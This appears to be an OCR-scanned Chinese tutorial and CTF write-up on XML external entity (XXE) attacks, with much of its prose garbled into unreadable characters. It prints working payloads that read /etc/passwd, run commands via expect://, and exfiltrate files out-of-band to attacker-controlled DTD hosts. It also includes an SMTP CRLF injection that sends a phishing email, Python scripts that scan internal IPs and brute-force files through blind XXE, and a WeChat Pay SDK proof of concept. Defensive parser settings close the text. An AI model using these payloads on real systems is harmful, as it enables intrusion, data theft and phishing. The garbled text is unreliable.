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PAF & — AN ] S I XMLARES POST % sk 1 -

POST /vulnerable HTTP/1.1

Host: www.test.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Referer: https://test.com/test.html

Content-Type: application/xml

Content-Length: 294

Cookie: mycookie=cookies;

Connection: close

Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price»9.99</price>
<date>2018-10-01</date>
<description>XML is the best!</description>
</core>
</catalog>

ZJa, BRI RS SFHEXMLAL B 3SR REIFRE: {"Request Successful": "Added!"}
WAE, BBE R BN AXMUR BT 2R A4 ? RN EREIHEE RATE Z payload:



<?xml version="1.0"?>

<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>

AR IR 1]«

{"error": "no results for description root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...
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Fragma: no-cache
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Tomtare ~Type: tert/tnal
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https://fofa.so/
http://www.shodan.io/
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<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>

%52 - @i DTDG B 4

ShERSCRY A E X (DTD) SCHWT 4 F i K OOB XXE. M # ¥ dtdCHHEEEVPS |, #mfE 5 2 Wi
R 55 SRR BOZ A R AT H P R R a2

LT SR % 6 57 P P L R % 77

<?xml version="1.0"?>
<IDOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
<core id="test1e1">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>

ERARL—EH S ZHER RS SLEE, MErEAIRZERSHOEER, BREERNTKpayloadif)DTDXC
(i

<IENTITY % file SYSTEM "file:///etc/passwd">
<IENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;"'>">
%all;

L ATAE i (8] T LR ERPATIRE. ERR_REWMNMERPERER TRNORES SR, B /MEKR
“Aletc/passwd L4 H 2

ERMNBVPSHEHEATTLAE R, HEXMABFHE ZNER, PULERAITWHIN T O0B XXEFRF I FF1E:

http://ATTACKERSERVER. com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%@Abin%3Ax%3A2%3A2%3Abi
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<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<IENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>

M .«

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
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ftp://a%0D%oA

EHLO0%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM. com%3E%OD%0A
RCPT%20T0%3A%3Cvictim¥%40gmail . com%3E%0OD%0OA
DATA%@D%0A
From%3A%20support%40VULNERABLESYSTEM. com%0A
To%3A%20victim%40gmail . com%0A
Subject%3A%20test%0A

%OA

test!%0A

%0D%OA

. %4@D%0OA

QUIT%OD%OA

:a@VULNERABLESYSTEM. com: 25

HFTPZ P P BLURLIESERT,  BUF Ay 44 24 & %4 VULNERABLESYSTEM.com.k i s 4 i 45 58 -


http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/7-b147/sun/net/ftp/impl/FtpClient.java
https://www.owasp.org/index.php/CRLF_Injection

ftp://a

EHLO a

MAIL FROM: <support@VULNERABLESYSTEM.com>

RCPT TO: <victim@gmail.com>

DATA

From: support@VULNERABLESYSTEM.com

To: victim@gmail.com

Subject: Reset your password

We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com

QUIT

:support@VULNERABLESYSTEM. com: 25
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import requests

import base64

#0Origtional XML that the server accepts

#<xml>

#

<stuff>user</stuff>

#</xml>

def

build_xml(string):

xml = """<?xml version="1.8" encoding="IS0-8859-1"?>"""

xml = xml + "\r\n" + """<IDOCTYPE foo [ <!ELEMENT foo ANY >"""

xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""

xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""

xml = xml + "\r\n" + """</xml>"""

send_xml(xml)

def send_xml(xml):
headers = {'Content-Type': '"application/xml'}
X = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).tex
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0." + i
string = 'php://filter/convert.base64-encode/resource=http://"' + ip + '/’
print string
build_xml(string)
except:
continue
R EIgR:
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GET IN TOUCH

III%HHHHIII
<br />

<b>Warning</b>: simplexml_load_string():

~in
<b>/var/www/52dandan.cc/public_html/function.php</b> on
line <b>54</b><br />
<br />
<b>Warning</b>: simplexml|_load_string():
http://52.199.13.19/evil.dtd: 2: parser error : internal error in
<b>var/www/52dandan.cc/public_html/function.php</b> on
line <b>54</b><br />
<br />
<b>Warning</b>: simplexml_load_string(): &IGIENTITY
% all &quot; &It IENTITY &amp;#37; send SYSTEM
‘http://52.199.13.19/?file=%file; '&gt; &quot; in
<b>var/www/52dandan.cc/public_html/function.php</b> on
line <b>54</b><br />
<br />
<b>Warning</b>: simplexml_load_string():

¥

BESR WL, FRARMNRA R BERBUZIRS 28 L1 S0, BATGIREC & S (XA 2 Blind XXE , B4R S
Hsedk, AMEEEIH DTD)

/var/www/52dandan.cc/public_html/config.php

E3|FE 45 flag

<?php

define(BASEDIR, "/var/www/52dandan.club/");

define(FLAG_SIG, 1);

define(SECRETFILE, '/var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe

?>



HEE:

REA AN, BBAVEM libxml SEBOCH WA RIRHR, AR R, WRKAMSRE, TRBEIMEZMEH
php
o yRAS I — AN R AR 7 1%

E45: echo file_get_contents("php:/filter/zlib.deflate/convert.oase64-encode/resource=/etc/passwd");
fi#JE: echo file_get contents("php:/filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1");

RIEBAIE BN A BRI, HATEE

/proc/net/arp
/etc/host

HEINME 5 — & IRkRSS41 ip bk 192.168.223.18

32X ip BRATBEHEMA XXE BT OHH# T, RERINEIITBT 80 %0, REHRATEHTHRA
i, ,E|—Atestphp, WRIERF, XATEK shop ZEAFE—MEN HEBEAE LA HZ— Blind XXE
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RIBBOE R HR B R ERATE RS2 H DTD 30, TREMMEARZLERIN VPS £, —diaB%
DTD —i&mfFfE XXE K EHRIEFER, WABRG T mXAHET
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import requests
url = "http://39.107.33.75:33899/common.php"’
s = requests.Session()

result = "'
data = {
"name":"evil _man",
"email":"testabcdefg@gmail.com",
"comment":"""<?xml version="1.0" encoding="utf-8"?>
<IDOCTYPE root [
<IENTITY % dtd SYSTEM "http://evil_host/evil.dtd">
%dtd; 1>
}

for i in range(9,28):
for j in range(48,123):
f = open('./evil.dtd','w")

payload2 = """<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/reso
<IENTITY % all "<!ENTITY % send SYSTEM 'http://evil_host/?result=%file;'>">
%all;

%send; """ .format('_"*i+chr(j)+'_"*(27-1))

f.write(payload2)

f.close()

print 'test {}'.format(chr(j))

r = s.post(url,data=data)

if "Oti3a3LelLPdkPkgKF84xs=" in r.content and chr(j)!='_":
result += chr(j)
print chr(j)
break

print result

RN, MR WAER WFen, PramREMEENAELR, Bk 20m
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BATZ AT RT3 # 2 php 3%, (HRSFR LIS IR L AR java FIFELE B XXE ¥R, 8 5o,
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jar:/l Pr Lk K

jar:{url}!{path}

L -

jar:http://host/application.jar!/file/within/the/zip
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(1) T jar/zip U 2GRS SO
(2) $REUH BRATTHE E SO
(3) Ml B e B ST A

B BATVIE 2 B BIBAT T £ e B 344 ?
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xml_test.java

package xml_test;
import java.io.File;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;

import org.w3c.dom.Attr;

import org.w3c.dom.Comment;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;

import org.w3c.dom.Nodelist;

/**
* g VAR A E AR R — Axm 130 BB AR BI& 41T B

* @author zhanglong
*

*/
public class xml_test
{
public static void main(String[] args) throws Exception
{
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new File("student.xml"));
/BB RTERGE R
Element root = doc.getDocumentElement();
parseElement(root);
}

private static void parseElement(Element element)

{
String tagName = element.getNodeName();

NodeList children = element.getChildNodes();



System.out.print("<" + tagName);

//element ST E HIFTE B 1 BT B iINamedNodeMap Xt 4, 75t H3E4T I
NamedNodeMap map = element.getAttributes();

/ /IR ZTRFER
if(null !'= map)
{
for(int i = @; i < map.getLength(); i++)
{
//IFBZTERNE R
Attr attr = (Attr)map.item(i);
String attrName = attr.getName();
String attrValue = attr.getValue();
System.out.print(" " + attrName + "=\"" + attrvalue + "\"");
}

System.out.print(">");

for(int i = @; i < children.getLength(); i++)

{

Node node = children.item(i);

/1R RIRA

short nodeType = node.getNodeType();

if(nodeType == Node.ELEMENT_NODE)

{
//RITTER, 4ekid)a
parseElement ((Element)node);

}

else if(nodeType == Node.TEXT_NODE)

{
//EFAE O
System.out.print(node.getNodeValue());

}

else if(nodeType == Node.COMMENT_NODE)

{
System.out.print("<!--");
Comment comment = (Comment)node;
[ ERAE
String data = comment.getData();
System.out.print(data);
System.out.print("-->");

}

}

System.out.print("</" + tagName + ">");



HTRAELUR, RATREEAMET—A xml S , R4 studentxm

student.xml

<!DOCTYPE convert [
<!ENTITY remote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php">
1>

<convert>&remote;</convert>

HRXEHMmTHE:

Search for: ¥ xml_test.java student.xml 4 DocumentBuilc

v I test3
> .idea
> out
Src
xml_test
¥ xml _test
student.xml
test3.iml
» |l External Libraries
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F python S #1—A TCP k4%

A~BIREG:

sever.py



import sys

import time

import threading

import socketserver

from urllib.parse import quote
import http.client as httpc

listen_host = 'localhost’
listen_port = 9999
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):

http_req = b"'

print('New connection:',self.client_address)

while b'\r\n\r\n' not in http_req:

try:

http_req += self.request.recv(4096)
print('Client req:\r\n',http_req.decode())
jf = open(jar_file, 'rb")
contents = jf.read()
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: application/java-archive\r\n\r\n"''")
self.request.sendall(headers.encode('ascii'))

self.request.sendall(contents[:-1])
time.sleep(30)

print(30)
self.request.sendall(contents[-1:])

except Exception as e:
print ("get error at:"+str(e))

if _name__ == '__main__"':

jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler)
print ('waiting for connection...')

server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True

server_thread.start()

server_thread.join()

ARG A E KR ERZ P IREER, REREP R NRITS TR BEANS S 23, HE
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MBEANVE 2 RBIX A ST RIE? AHAE, §EREdRERERRI, MRABRIERK

jar:http://localhost:9999/jar.zip!/1.php

1.php ZEIXA jarzip hHHITE, java MEATIRR SRS, LRI AR SCRE b BN AAE
-

Exception in thread "main" java.io.FileNotFoundException: JAR entry 1_php not found in
C:\Users\Kerz3n\AppData\Local\Temp\jar_cache5312381284485228730.tmp
at sun.net.www.protocol.jar.JarURLConnection.connect( ] )
at sun.net.www.protocol.jar.JarURLConnection.getInputStream(
at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(
at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(

at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(

at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanEntity

at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl$FragmentCo
)

at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.next(
at rom <iuin arg anarhe vercrec internal imnl XMl DaciimentFraosmentSrcannerTmnl <ranDacime

BEARIKEN T i SR B4R, BRATRE L BB AT (B BB A LRI AN SO RE SE A I 8] (15 B 7E
AW ARG 2T, BABZIKITKBisleep() HAEHE M, FARMNERN MK E ERECHRE T
EERMBCRIHR, BT X8, BB BAESRMBTBER hex B aS7E X RBHMBIR TR, X
P BE 58 3K A AR BRI A 1]

TR B SERR B
https://xzfile.aliyuncs.com/media/upload/picture/20181120002650-eae69596-ec17-1.gif
KM —H T, BAMARESLRERT GFED

LG RALCTF 2018 1 TiXHE—A CTF B H, 4K wp W LFERMIXE L=
ZiRE

LT R B B SR XMUET S T T AP RIERA R EEEE. A, EEKREDTD(document type
definition)F SYSTEMIR IR E LI EIE, HARS, BWARKTE. KEHKIXMLAEHT 28 BRI T XXEB 2 M
. Hik, BRIFHERER R EXMLAE S L6 HAESKIDTD, AREXMLFEEEMAIE HEHK
DTD.

H S XXE H BL7E
BATRIRIBE T A%, #RRBRATVGZARRA IR, (BRI R B U F IR thIUFEH 4 77

w4 web BHR, B—ANATEW BRI, A A MVC SiRZRTE WS, HEEFXHSBERIEIR,
J i i R R A AR R R B AT R KT e, BRETRKIRTE 0 B2, Jaim api R TR EHFEEAK
g, REEE—RIINBEEHE, BHEALRL json R ESETW, BT R ASTALERR, E3HE
json.decode BT T CXEKJE4AILAR)E G, WAl ARSMERKapi &0, X8R ETma] &SRR XHE
i, tWATBLRJE &R

A2 0 R H L BUAE api 3 D RERET 2 P S AR R xml RS, JF B EHSMESRERISI A, i XA
Ll —: BHR
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https://xzfile.aliyuncs.com/media/upload/picture/20181120002650-eae69596-ec17-1.gif
http://www.k0rz3n.com/2018/11/19/LCTF%202018%20T4lk%201s%20ch34p,sh0w%20m3%20the%20sh31l%20%25E8%25AF%25A6%25E7%25BB%2586%25E5%2588%2586%25E6%259E%2590/

POST /vulnerable HTTP/1.1

Host: www.test.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Referer: https://test.com/test.html

Content-Type: application/xml

Content-Length: 294

Cookie: mycookie=cookies;

Connection: close

Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price»9.99</price>
<date>2018-10-01</date>
<description>XML is the best!</description>
</core>
</catalog>

FAVE W WH xml 1 POST #EKLLE, BARDR AT i RS 88 FIXMLAL B 834 AT o« ARG A AR i [E -
{*Request Successful’: “Added!”}

HRARBAMEA—NBERRE

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
<core id="test1e1">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>

IR M R e s IR BRSO, Sah T AR E

"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

L= TR AT S XXE
Bl — R T IEH KBTS STAT I XXE IR TR SR ARG AR,



AR -

WS ATRAE T — A api 80, HERBRE P IMAER, WIEXTATHARjava sdk7E b B 45 R e v] G fl & — A
XXEWRIF, Brds ] L)X AN O k%4 % % & payloads, 3R B KR &S 2% EAEfIE R, —BREHERE TH
BREIEHE (md5-key and merchant-Id etc.), fiha] GEiE T &% Dy iE 15 B A AR B I L i AL B &

RTFRT java AR sdk AT H7, XA sdk #4E 7 —4 WXPayUtil TR, Z%3EH LI T xmlitoMap#i
maptoXmliX PN 7732%, T X IR IS SCAT Do s TR 28 R U ZExmitoMap 77 125 1

1 L

Map<String. String - xmlLToMap(String strXML) Exception {
{
Map<String. String  data HashMap O
DocumentBuilder documentBuilder WXPayXmlLUt1il QO
InputStream stream ByteArrayInputStream(strXML getBytes(
org.w3c.dom.Document doc documentBuilder parse(stream)
doc getDocumentELement() normalize()
NodeList nodelList doc .getDocumentELement() getChildNodes()
( idx 9. idx nodelList getLength() idx) {
Node node nodeList item(idx)
(node getNodeType() Node ) {
org.w3c.dom.Element element (org.w3c.dom.Element) node

data put(element getNodeName() K element getTextContent())

1
{

stream close()
(Exception ex) {

data
(Exception ex) {
WXPayUtil () warn("Invalid XML, can not convert to map. Error message:

ex

I LAt A B 8l SR B AR 8 4> B R R AL O T T A -

public static Map<String, String> xmlToMap(String strXML) throws Exception {

try {
Map<String, String> data = new HashMap<String, String>();

DocumentBuilder documentBuilder = WXPayXmlUtil.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
org.w3c.dom.Document doc = documentBuilder.parse(stream);

BAITLLE R X% T documentBuilder LAJE Bt E# 5T 4& 3R strXML & 7, T ATIHIZ strXML & — b
HETENSH, TRMEBENT XXERFH, TEHRELKKISE
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% java_sdk v3.0.9 src main java com test test001

¥ test001.java WXPayUtil java 1 wxpayXmlUtil java WXPay.java IWXPayDomain.java
9 [wxpay-sdk] s java.util.Map

com.github.wxpay.sdk.WXPayUtil

testoo1l {
main(String args[]) {

String xmlStr ="<?xml version='1.0' encoding="utf-8'?>
"<IDOCTYPE XDSEC [\r\n"
"<IENTITY xxe SYSTEM 'file:///d:/1.txt'>]>
"<XDSEC>\r\n"
"<XXE>&xxe;</XXE>\r\n"
"</XDSEC>"

{

Map<String.String  test (xmlStr)
System println(test)

(Exception e){
e .printStackTrace()

test001.java

package com.test.test001;
import java.util.Map;
import static com.github.wxpay.sdk.WXPayUtil.xmlToMap;

public class testeel {
public static void main(String args[]) throws Exception {

String xmlStr ="<?xml version='1.0' encoding="'utf-8'?>\r\n" +
"<IDOCTYPE XDSEC [\r\n" +
"<IENTITY xxe SYSTEM 'file:///d:/1.txt'>]>\r\n" +
"<XDSEC>\r\n"+
"<XXE>&xxe;</XXE>\r\n" +
"</XDSEC>";

try{

Map<String,String> test = xmlToMap(xmlStr);
System.out.println(test);

}catch (Exception e){
e.printStackTrace();

RAE TR D £ FHK 1.txt S0
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test001

{XXE=XXE ATTACK}

hitps://blog.csdn.netu01

B4R, WXPayXmlUtil java FAEXA> sdk MECE T, REEHEREKBRIRR, HR)5HIEE R4 ix B m st
TR

http://apache.org/xml/features/disallow-doctype-decl true
http://apache.org/xml/features/nonvalidating/load-external-dtd false
http://xml.org/sax/features/external-general-entities false
http://xml.org/sax/features/external-parameter-entities false

BNMEEEITAF T CL LEIRNEE S, AXBRERET LT —TE%:

B AENAE FRARDE ZEE: xq1b

FE#E java B —A netdoc:/ thXRERE file://| \ FRILAERE R — T
mE TR


https://pan.baidu.com/s/1YbCO2cZpzZS1mWd7Mes4Qw

¥ test001.java WXPayUtil.java  wxpayXmlUtil.java WXPay.java IWXPayDomain.java
‘ java.util.Map

com.github.wxpay.sdk.WXPayUtil

testoo1 {
main(String args[]) {

String xmlStr ="<?xml version='1.0" encoding="utf-8'?>\r\n
"<IDOCTYPE XDSEC [\r\n"
"¢IENTITY xxe SYSTEM 'netdoc:/d:/1.txt'>]>\r\n"
"<XDSEC>\r\n"
"<XXE>&xxe; </XXE>\r\n"
"</XDSEC>"

{
Map<String,String  test (xmlStr)
System println(test)
(Exception e){
rintStackTrace

test001

{XXE=XXE ATTACK}

S4l=: JSON content-type XXE

IEBATFRIER), 1R 2 web 23 N AR 3 T % 7 i -k 5548 X EAR K webil (5 ik 55 . A E £ SOAPIE £
RESTful, —3f TwebfRkasRin, &H ILEKE SR RXMLAISON. B webiR 55 Al GE7E g A2 i H {3 FH
h—Fig R, (ERRSS A AT LR IT R B ERA BB B H A BE g X, XA A R R BJSONT miZ 2|
XXE (XMLAMERSEAR) B

JER 465 T SR A e o -

HTTP Request:

POST /netspi HTTP/1.1

Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}



AR %R Content-Type &N application/xml
BE— 25 1% SR AT R

HTTP Request:

POST /netspi HTTP/1.1

Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Response:

HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127

{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within

] DUR LR 55 2% v 2 BE AL B xl BRI, TR 3A T AT BRI A XA R k4T e
B 2% 1) V% SR A W ¥«

HTTP Request:

POST /netspi HTTP/1.1

Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>

<search>name</search>

<value>&xxe;</value>

</root>

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467

{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
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PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl”,true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities"”,false);

Python:

from 1xml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

TR=: FHBRBALIEHER)
Ul S S5 35

<!DOCTYPE. <!ENTITY SYSTEM. PUBLIC
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